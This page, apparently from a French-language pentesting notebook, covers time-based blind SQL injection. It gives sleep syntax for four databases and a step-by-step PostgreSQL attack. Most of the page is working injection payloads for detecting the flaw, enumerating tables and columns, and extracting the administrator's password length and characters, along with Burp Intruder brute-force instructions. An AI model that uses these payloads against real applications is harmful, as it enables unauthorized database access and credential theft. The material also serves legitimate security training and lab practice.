# Time based

## Synthaxe

<table data-header-hidden><thead><tr><th width="282"></th><th></th></tr></thead><tbody><tr><td>Oracle</td><td><code>dbms_pipe.receive_message(('a'),10)</code></td></tr><tr><td>Microsoft</td><td><code>WAITFOR DELAY '0:0:10'</code></td></tr><tr><td>PostgreSQL</td><td><code>SELECT pg_sleep(10)</code></td></tr><tr><td>MySQL</td><td><code>SELECT SLEEP(10)</code></td></tr></tbody></table>

## Exemple d'exploitation sur PostgreSQL

### Détection

```sql
'||pg_sleep(3)||'
'XOR(if(now()=sysdate(),sleep(10),0))OR'
if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/
```

### Enumeration des tables

```sql
'||(SELECT pg_sleep(3) FROM <FUZZ> LIMIT 1)||'

délais de 3 sec pour table users
```

### Enumeration des colonnes

```sql
'||(SELECT pg_sleep(3)||<FUZZ> FROM users LIMIT 1)||'

délai de 3 secondes pour colonnes username et password
```

### Recherche utilisateur administrator

```sql
'||(SELECT pg_sleep(3)||username||password FROM users WHERE username='administrator')||'
```

{% hint style="info" %}
Pour les étapes suivantes, il va vous falloir modifier quelques paramètres dans burp intruder:

* Créer un nouveau pool (Pas de multithread)
* Ajouter la colonne temps de réponse
  {% endhint %}

<figure><img src="https://3571537825-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOIXudYEdnnE8JjXBrL0o%2Fuploads%2F1ZgEM09xsD66soD4C5i0%2Fimage.png?alt=media&#x26;token=31b8ca1a-0331-4f08-8838-24ab2db671d9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3571537825-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOIXudYEdnnE8JjXBrL0o%2Fuploads%2F7AOcn1KD0lSWjEqSd6eH%2Fimage.png?alt=media&#x26;token=64e30218-1f17-406c-b4b1-cf25deed313e" alt=""><figcaption></figcaption></figure>

### Déterminer le nombre de caractères dans le mot de passe

```sql
'||(SELECT pg_sleep(3) FROM users WHERE username='administrator' AND LENGTH(password)=<FUZZ>)||'
```

### Bruteforce du mot de passe

```sql
'||(SELECT pg_sleep(3) FROM users WHERE username='administrator' AND SUBSTR(password,<LENGTH_FUZZ>,1)='<LETTER_FUZZ>')||'
```

{% hint style="info" %}
Avec Burp Suite, aller dans intruder, sélectionner les zones \<LENGTH\_FUZZ> et \<LETTER\_FUZZ> puis utiliser l'attaque Cluster Bomb.

Payload 1: numéros de 1 à la taille découverte plus tôt

Payload 2: bruteforce

Dans les paramètres, utiliser Grep-Match pour matcher la zone qui change en fonction du true ou false afin de pouvoir filtrer plus facilemen le résultat final.
{% endhint %}

<figure><img src="https://3571537825-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOIXudYEdnnE8JjXBrL0o%2Fuploads%2FGniuXOGiYtU2N4Tgy7M1%2Fimage.png?alt=media&#x26;token=fce7671f-2036-426c-96a6-f224a3752b59" alt=""><figcaption></figcaption></figure>
